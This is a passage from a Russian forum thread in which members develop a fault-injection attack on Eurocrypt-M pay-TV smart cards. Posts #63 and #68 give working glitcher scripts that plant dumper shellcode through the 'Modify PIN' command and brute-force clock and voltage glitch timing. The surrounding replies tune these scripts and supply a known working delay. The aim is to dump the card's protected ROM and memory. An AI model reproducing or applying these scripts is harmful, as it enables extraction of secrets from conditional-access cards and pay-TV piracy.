закрыть X

### Опции скрытого текста

%field должно быть только числовым
%field необходимо
По меньшей мере, один параметр требуется

Следующие ошибки возникли при попытке отправки сообщения:

Скрыть по количеству сообщений
Требуется сообщений
Скрыть от гостей
Скрыть от всех групп, кроме выбранных
Группы
Глобальный модератор
Модератор раздела
Новичок
Начинаю писать
Постоялец
Знающий
Старожил
Модератор
ВИП
Ветеран
Неприкасаемый
Проходил мимо
Прохожий
Друзья
Новичок
Ветераны форума
Новичок
Скрыть по количеству Спасибо поставленных пользователю
Кол-во сказанных пользователю Спасибо
Скрыть пока не скажут Спасибо
« предыдущая тема следующая тема »
Страницы: « 1 ... 5 6 7 8 9 ... 44 » Вниз

# Иформация о Eurocrypt (помните такое?)

- 436 Ответов
- 32478 Просмотров

#### Ethereal

- ВИП
- Старожил
- 1.581
- 8.611 раз

##### Иформация о Eurocrypt (помните такое?)

« Ответ #60: Четверг 09 Сентября 2021, 02:14:15 »
Цитата(Shurik406 от Среда 08 Сентября 2021, 16:48:19)

> Ведь на sc21 можно только закинуть в пространство между $80 и $FF

Почему можно закинуть только в ЭТО пространство ? С чего ты это взял ?
Выучил не приходя в сознание ?
Вот команды
Цитата(Ethereal от Вторник 07 Сентября 2021, 17:24:10)

> BRA ,X
> BSR ,X
> BRA байтовое_смещение,X
> BSR байтовое_смещение,X

По каким адресам они могут закинуть управление ?
Сказали Спасибо: balton, skad163, sankr, lift-man
Жалоба 178.19.253.189

#### Shurik406

- Начинаю писать
- 232
- 488 раз
- 58W |-----| 55E
  Много чего
  UK

##### Иформация о Eurocrypt (помните такое?)

« Ответ #61: Четверг 09 Сентября 2021, 11:17:39 »
Цитата(Ethereal от Воскресенье 05 Сентября 2021, 03:59:32)

> Интересно, получится у кого-нибудь зарегистрироваться и скачать вот этот архивчик
> www.dtforum.info/...82.0

Мою регистрацию одобрили, но надо еще заплатить 10 евро что бы что-то от туда скачивать.

Подумал(a) и добавил(a): Четверг 09 Сентября 2021, 11:25:57

Цитата(Ethereal от Четверг 09 Сентября 2021, 02:14:15)

> По каким адресам они могут закинуть управление ?

Я не правильно выразился. Управление можно зануть куда хочешь, но вирус может оказаться только между 80-FF - тем более командой CA24.
Почему? Потому-что ПО только пишет между этими адресами - в user RAM. А в 00-7F находятся регистры. (Это не говоря про ПРОМ.)
Ну...насколько я понимаю, так как...
Цитата(Ethereal от Четверг 09 Сентября 2021, 02:14:15)

> Выучил не приходя в сознание ?

..."я ведь еще только учусь!" (с) Б.Р.
- Спасибо
Сказали Спасибо: balton, lift-man
« Последнее редактирование: Четверг 09 Сентября 2021, 11:48:11 от Shurik406 »
Жалоба Записан

#### Ethereal

- ВИП
- Старожил
- 1.581
- 8.611 раз

##### Иформация о Eurocrypt (помните такое?)

« Ответ #62: Четверг 09 Сентября 2021, 12:36:45 »
Цитата(Shurik406 от Среда 08 Сентября 2021, 16:48:19)

> а тут в $40 сидит?

Так в чем проблема была такого вопроса ? Что показалось не так ?
Регистр x может варьироваться 00..FF , байтовое смещение тоже может варьироваться 00..FF
Значит команды
BRA ,X
BSR ,X
могут выкинуть в адреса 00..FF , а команды
BRA байтовое_смещение,X
BSR байтовое_смещение,X
могут выкинуть в адреса 00..1FE
Это лошадь, то что первично. Что там по этим адресам это уже телега, это вторично.
В карте CTV выкинуть в адрес $40 где ОЗУ и вирус препятствий нет ? Нет !

Подумал(a) и добавил(a): Четверг 09 Сентября 2021, 12:47:27

Отдельный вопрос что произойдет если выкинет в регистры. Ну что-то глючное да произойдет.
Процессор будет работать так как ему положено - выбирать из адресов то, что прочитается, принимать прочитанное за инструкции и исполнять. Как там пел Высоцкий про русалку "И как смогла родила". Так вот процессор как сможет так и исполнит.
Это я про самые ранние процессоры смарт-карт. У уже не самых ранних на борту появилось MMU - Memory management unit, это собака следит за разграничением прав на доступ к памяти, ну и скорей всего забьет тревогу - что за фигня, попытка исполнить код откуда не положено. Но MMU это такая штука которой карту прав различных областей памяти должен дать программист. А ему может и в голову не прийти, что такое возможно - исполнение кода в области регистров, поэтому может и не запретить. Тогда если из регистров прочитается глючной говнокод без команд перехода, ну управление как-то доковыляет до границы между регистрами и ОЗУ и все равно переедет в ОЗУ.
У mc68hc05sc21 MMU не было, а в чипах карт CTV уже появилось, да.
Моторола сильно на своем чипе обосравшись была и с досады продала права на смарт-карты, поэтому первые чипы от смарт-карт все толпой на архитектуре Моторола 6805 были.

Подумал(a) и добавил(a): Четверг 09 Сентября 2021, 13:37:05

Ты спрашивал на каком чипе карта CTV. Да кто-же его знает.
Имеем после потрошения факты:
- семейство ST16 от SGS Thomson (ныне это ST Microelectronics), архитектура Motorola 6805
- 6K User ROM
- 1K System ROM
- 3К EEPROM, sector combinative
- в т.ч 32 байта OTP (One time programming)
- 224 байта RAM
По следующим признакам
- семейство ST16 от SGS Thomson, архитектура Motorola 6805
- 6K User ROM
- 1K System ROM
чип совпадает с чипами ST16600 и ST16601
manualmachine.com/...
но только у них было 0,5К и чуть больше 1К (точнее 1024+64) байт EEPROM соответственно и RAM у них была по 128 байт. Возможно, возможно, что у этой линейки было продолжение в виде ST16603 (по логике вещей последняя цифра - размер EEPROM в килобайтах) но никаких упоминаний про такую чипу я не встречал. Впрочем вообще упоминаний про какую-либо чипу с характеристиками как у чипы CTV не встречал.
Так-что предположительно чипа CTV это ST166xx
Сказали Спасибо: balton, skad163, lift-man, Shurik406
« Последнее редактирование: Четверг 09 Сентября 2021, 13:51:35 от Ethereal »
Жалоба 178.19.253.189

#### Shurik406

- Начинаю писать
- 232
- 488 раз
- 58W |-----| 55E
  Много чего
  UK

##### Иформация о Eurocrypt (помните такое?)

« Ответ #63: Четверг 09 Сентября 2021, 17:45:04 »
Вот что я нумутил. Модификация скрипта написаная @Ethereal выше. Цель - найти точку глюка. Коментарии к скрипту по англ. т.к. мне легче.
Железа для проверки пока нет, так что это альфа версия которая еще изменится сто раз. Точка глюка ищется грубой силой. Скрипт крутит карту в колесе пока глюк не наткнется на инструкции BRA/BSR/JMP/JSR на адрес $ca в ОЗУ.
Что делает команда CA 24 01? Согласно по описанию СУД Eurocrypt-M - "Modify PIN code". Структура команды такая:
CA 24 01 00 10 old_pin_code new_pin_code (16 bytes)
Данные команды помещаются в ОЗУ. В штатной операции, процесс команды наверняка типа такого:
1) Поместить данные пин-кодов в ОЗУ
2) Прочитать old_pin_code с ОЗУ и сравнить их с прочитаном кодом в ПРОМе
3) Если оба равны, то прочитать new_pin_code с ОЗУ и поместить их в ПРОМ (старый код не стирается). Ответ SW1 SW2 = 90 00
4) Если не равны, то процесс завершается ответом 94 00
Процедура достдочно простая. Там нет никаких крипто-операций, но все же все-равно где есть глюкнуть.
Еще особенность команды - чтение из ОЗУ из адреса $c8 для текущего пин-кода. А это значит что в индексе х как раз и будут c8, c9...cf. А если наткнуться на BRA/BSR/JMP/JSR ,х, то как раз и окажемся там где надо (видимо в $ca).
Есть и другие команды которые пишут и читают с ОЗУ (если не большинство из них), но гарантии что они не сотрут ранее посаженный вирус - нет.
Так как процес команды CA 24 достадочно прост, пауза перед глитчем наверняка не будет длинной.
Вот так вот у меня это все сложилось в голове. В теории. А в реальности, может быть совсем не туда смотрю.
Код: [Выделить]

' RX ATR : 3F 67 2F 00 11 14 00 03 68 90 00
' RAM Dump: 9D 9D 5F F6 CD 1D D5 5C 26 F9 20 FE 9D 9D 9D 9D
' (c) Ethereal
' 00c8 9d nop
' 00c9 9d nop
' 00ca 5f clrx ; clear index x <- управление закидывалось сюда
' 00cb f6 loop: lda ,x ; load value at address x into accumulator a
' 00cc cd 1d d5 jsr $1DD5 ; jump to subroutine "send byte" routine in OS - sends value of a to serial line
' 00cf 5c incx ; increment x - next address to load into a
' 00d0 26 f9 bne loop ; loop until done (0xFF bytes)
' 00d2 20 fe dead: bra dead ; infinite loop - end program
' 00d3 9d nop
' 00d4 9d nop
' 00d5 9d nop
' 00d6 9d nop
Dim x, pause
Sc.Verbose = True
Sub Main()
Sc.Write("B0 FF")
x = 0
' cycle through initial possible pause values before glitching - almost ~50,000 values
' step 4 could perhaps be larger depending on glitch tolerances
' perhaps this should be randomised rather than sequential
For pause = &h200001 to &h22FFFF step 4
' start reset
Sc.Write("05") ' send 5 bytes to UL
Sc.Write("0E 03") ' set timeout
Sc.Write("01") ' reset card
Sc.Write("8A 00") ' receive 11 bytes and end nano/tag session
RX ' receive result
' end reset
' implant the virus for PROM dump
Sc.Write("20") ' send 32 bytes to Unlooper
Sc.Write("0E 03") ' set timeout
Sc.Write("C4") ' send 5 bytes to card
Sc.Write("CA 24 01 00 10") ' send command header - "Modify PIN"
Sc.Write("80") ' get ack from card
Sc.Write("9D 9D 5F F6 CD 1D D5 5C 26 F9 20 FE 9D 9D 9D 9D") ' the virus itself - loaded in address $C8 in RAM
Sc.Write("81") ' get SW1 SW2
Sc.Write(hex(pause)) ' pause before clock/voltage glitch - need to find the correct timing
Sc.Write("09") ' the glitch (clock + voltage)
Sc.Write("0F") ' receive bytes
Sc.Write("00") ' end
x = Sc.BytesInBuffer
Print("Bytes in buffer: " & x)
Sc.Read(x) ' read result and flush buffer
If x > 10 Then Exit For ' Arbitrary value to check the number of bytes in receive buffer
' Exit if buffer > n (hopefully jumped to RAM space for virus execution)
' need to figure out what a card crash/timeout looks like and modify script accordingly
Next ' increase pause and try again
End Sub
Function RX
Sc.Delay(200)
Sc.Read(Sc.BytesInBuffer)
End Function

Сказали Спасибо: balton, Ethereal
Жалоба Записан

#### Ethereal

- ВИП
- Старожил
- 1.581
- 8.611 раз

##### Иформация о Eurocrypt (помните такое?)

« Ответ #64: Пятница 10 Сентября 2021, 09:12:29 »
Вот, ты начал творить самостоятельно. В этом деле это главное.
>Вот так вот у меня это все сложилось в голове. В теории. А в реальности, может быть совсем не туда смотрю.
Очень близко к истине сложилось.
> Sc.Write("00") ' end
>
> x = Sc.BytesInBuffer
Между этими двумя командами должен быть Sc,Delay(задержка). Дай глитеру и карте время. И по Sc.BytesInBuffer узнаешь сколько байт карта послала (а глитчер ретранслировал) за это время. А не сразу. Сразу карта еще ничего не послала.
>If x > 10 Then Exit For
Тут критерий нужен побольше. Например 20. Частой реакцией карты на глитч будет рыгание ATR. А он 11 байт. Глитч может привести просто к рестарту карты, а тогда карта рыгнет ATR.
Т.е. ты поставил себе критерий отловить ситуацию когда карта рыгнет что-то длинное. Так вот критерий длинности должен быть больше 11+2 = 13 байт. 11 байт это ATR, плюс глитчер еще два байта добавит - на каком байте посланной ему глитчерной команды он остановил ее исполнение и сколько байт принял от карты при этом.

Подумал(a) и добавил(a): Пятница 10 Сентября 2021, 09:47:14

>А если наткнуться на BRA/BSR/JMP/JSR ,х, то как раз и окажемся там где надо (видимо в $ca).
Ты написал вирус так, что ловишь управление областью длиной в 3 байта C8..CA Т.е. ты и сам не задавался требованием чтобы управление выкинуто в конкретный адрес CA.
Если управление выкинется до вируса, то если там по случайности не будет команд перехода, управление тоже выкатится на вирус. Не обязательно при этом на 1-й байт, оно может выкатиться на 1-й, 2-й и 3-й байты вируса, поскольку длины команд у архитектуры 6805 от одного до трех байт.
Но ячейки памяти перед вирусом нам не подвластны. Поэтому будем говорить о том, что подвластно.
Тогда вирус как бы состоит из двух частей:
<nop-ы><содержательный код>
nop-ов желательно быть минимум два, чтобы они сыграли роли синхронизатора при выкате управления из области перед вирусом на 1-й, 2-й или 3-й байт вируса. У тебя так и есть.
Ты ловишь управление nop-ами и первым байтом содержательного кода.
Т.е. говоришь сам себе - ловлю управление областью в 2+1 = 3 байта, одновременно работающей синхронизатором выката из адресов перед ней.
Если вирус сдвинуть к концу буфера ввода, то область ловли управления станет больше, процент подходящих глитчей станет больше, но возникает риск отловить глитч, кидающий управление ближе к концу буфера ввода и от этого неудобный в дальнейшем. Поэтому лучше прикинуть длину вируса, который понадобится для вычитывания всего и вся, и расположить <содержательный_код> сразу под этот случай.
Хотя так тоже сойдет.
Сказали Спасибо: balton, skad163, lift-man, Shurik406
« Последнее редактирование: Пятница 10 Сентября 2021, 10:04:59 от Ethereal »
Жалоба 178.19.253.189

#### Shurik406

- Начинаю писать
- 232
- 488 раз
- 58W |-----| 55E
  Много чего
  UK

##### Иформация о Eurocrypt (помните такое?)

« Ответ #65: Пятница 10 Сентября 2021, 11:29:39 »
Цитата(Ethereal от Пятница 10 Сентября 2021, 09:12:29)

> Если вирус сдвинуть к концу буфера ввода, то область ловли управления станет больше, процент подходящих глитчей станет больше, но возникает риск отловить глитч, кидающий управление ближе к концу буфера ввода и от этого неудобный в дальнейшем. Поэтому лучше прикинуть длину вируса, который понадобится для вычитывания всего и вся, и расположить <содержательный_код> сразу под этот случай.

Спасибо за советы и объяснения. Я действительно думал почему-бы не засунуть вирус в конец буфера, а там вон что. Именно в этом вирусе, размером 10 байтов, наверное можно перекинуть пару nop-а с конца на начало. Только возможно, как вы и говорите, что найденый глитч не подойдет на вирусы больше 10 байтов, если управление перекинется на $cb или $cc - а там начало в $ca.
Кстати, в моей петле For...Next, стоит Step 4. Сложилось в голове так, что если клок глитчера на 4х раза быстрее чем у карты, то нечего проверять все точки по одному, как раз каждые 4. Это логично и можно ступеньку следать чуть побольше, например 5 или 6? Если будет 8, то возникнет возможность перепрыгнуть желательную точку глитча.
- Спасибо
Сказали Спасибо: balton
Жалоба Записан

#### Ethereal

- ВИП
- Старожил
- 1.581
- 8.611 раз

##### Иформация о Eurocrypt (помните такое?)

« Ответ #66: Пятница 10 Сентября 2021, 12:34:59 »
Цитата(Shurik406 от Пятница 10 Сентября 2021, 11:29:39)

> Сложилось в голове так, что если клок глитчера на 4х раза быстрее чем у карты, то нечего проверять все точки по одному, как раз каждые 4.

Это зря. Надо проверять каждую точку. Тут не надо за карту думать. Пусть она сама о себе рассказывает. В конце концов то, что я сказал о механизме глюка внутри карты от удвоения частоты клока это всего-лишь правдоподобное предположение. Глаз-то у меня нету заглянуть что там внутри карты на самом деле происходит. Поэтому к глюку надо относиться как к мистическому, тайнственному. Где он нужный лежит заранее неизвестно. Укладывается он в стройные теории или ему на эти теории насрать - тоже. Эти теории - это попытка хоть что-то как-то в глюке понимать. Нельзя-же вообще не понимать ничего.
Сказали Спасибо: balton, lift-man, Shurik406, stefanvl
Жалоба 178.19.253.189

#### Shurik406

- Начинаю писать
- 232
- 488 раз
- 58W |-----| 55E
  Много чего
  UK

##### Иформация о Eurocrypt (помните такое?)

« Ответ #67: Пятница 10 Сентября 2021, 13:42:28 »
Цитата(Ethereal от Пятница 10 Сентября 2021, 12:34:59)

> Поэтому к глюку надо относиться как к мистическому, тайнственному.

Да для меня это вообще темная наука. Особенно как чайнику. Но что-то, как то начинаю понимать, хоть далеко не все детали еще стоят на месте.
Буду проверять каждую точку тогда. Надеюсь это ближе к 0х200000 чем к 0х22FFFF. Не думаю что это будет больше 22FFFF и даже не больше 20FFFF, смотря на сколько длится функция DES и на относительную простоту команды CA 24.
Всего значит будет 65536 точек. Если каждая проверка возьмет, скажем, 5 секунд, то в целом это будет длиться около 4х дней. Ну не плохо, можно подождать. Конечно если скинете область проверки по уже, то... :-)
- Спасибо
Жалоба Записан

#### Ethereal

- ВИП
- Старожил
- 1.581
- 8.611 раз

##### Иформация о Eurocrypt (помните такое?)

« Ответ #68: Пятница 10 Сентября 2021, 14:55:08 »
Не, 5 секунд это преувеличение, Меньше секунды. На практике было так - на сон грядущий запусжаешь скрипт, утром просматриваешь что он там наловил.
Цитата(Shurik406 от Пятница 10 Сентября 2021, 13:42:28)

> Конечно если скинете область проверки по уже

У тебя глитчер другой и может ПО глитчера будет другим. Так-что правильно будет экспериментально подобрать. А так
20 00 53
так-что не сцы. Долго ждать тебе не придется.
Вот после такой задержки у меня выкинуло на 9-й байт вируса.
Из моих записей для Filmnet с ATR-ом 01
Код: [Выделить]

Вычитывание первой страницы ROM. Скрипт :
'Ec-M /3F672F0011140001689000/ worm dumper (C) Ethereal
' Tucker-glitcher + UL4S soft, Phase = 3 /CLK phase I&D/
Sub Main()
Sc.Verbose=False
Sc.Write("B0 FF")
For I=&h1100 To &h19FF
II = Hex(I)
While Len(II)<4
II = "0" & II
WEnd
Sc.Write("05 0E 03 01 8A 00"):RX
Sc.Write("20 0E 03 C4 CA 24 01 00 10 80 CF")
Sc.Write("FF 00 00 00 00 00 A6 01 1E 08 C6" & II & "CC 1B11") '<- Worm as PIN
Sc.Write("20 00 53 09 81 00"):RX
B=Sc.GetByte(3)
BB = Hex(B):If Len(BB)=1 Then BB="0"&BB
If (I And &hF)=0 Then Sc.Print(vbcr & II & " : ")
Sc.Print(BB&" ")
Next
End Sub
Function RX
Sc.Delay(200)
x=Sc.BytesInBuffer
Sc.Read(x)
End Function

Зачем там в теле вируса
A6 01 lda #1
я уже не помню. Может нечаянно осталось после очередной кройки кода вируса.
Сказали Спасибо: balton, lift-man, Shurik406
« Последнее редактирование: Пятница 10 Сентября 2021, 15:17:52 от Ethereal »
Жалоба 178.19.253.189

#### Shurik406

- Начинаю писать
- 232
- 488 раз
- 58W |-----| 55E
  Много чего
  UK

##### Иформация о Eurocrypt (помните такое?)

« Ответ #69: Пятница 10 Сентября 2021, 19:02:26 »
Да 20 00 00 53, действительно не долго ждать - на 9й байт пойдет для вируса из 8 байт или меньше.
Надеюсь на следуещей неделе получить железку и тогда поиграем.
- Спасибо
Сказали Спасибо: balton, lift-man
Жалоба Записан

Страницы: « 1 ... 5 6 7 8 9 ... 44 » Вверх
« предыдущая тема следующая тема »
Перейти в:

### Кто онлайн

Просматривают тему:
Ethereal и 1 Гость

### Быстрый ответ

В быстром ответе можно использовать BB-теги и смайлы.

Предупреждение: в данной теме не было сообщений более 120 дней.
Если не уверены, что хотите ответить, то лучше создайте новую тему.

- Базовые
- Дополнительные

[дополнительные смайлы]
Ошибка во время нажатия Спасибо
Спасибо...

Загружается...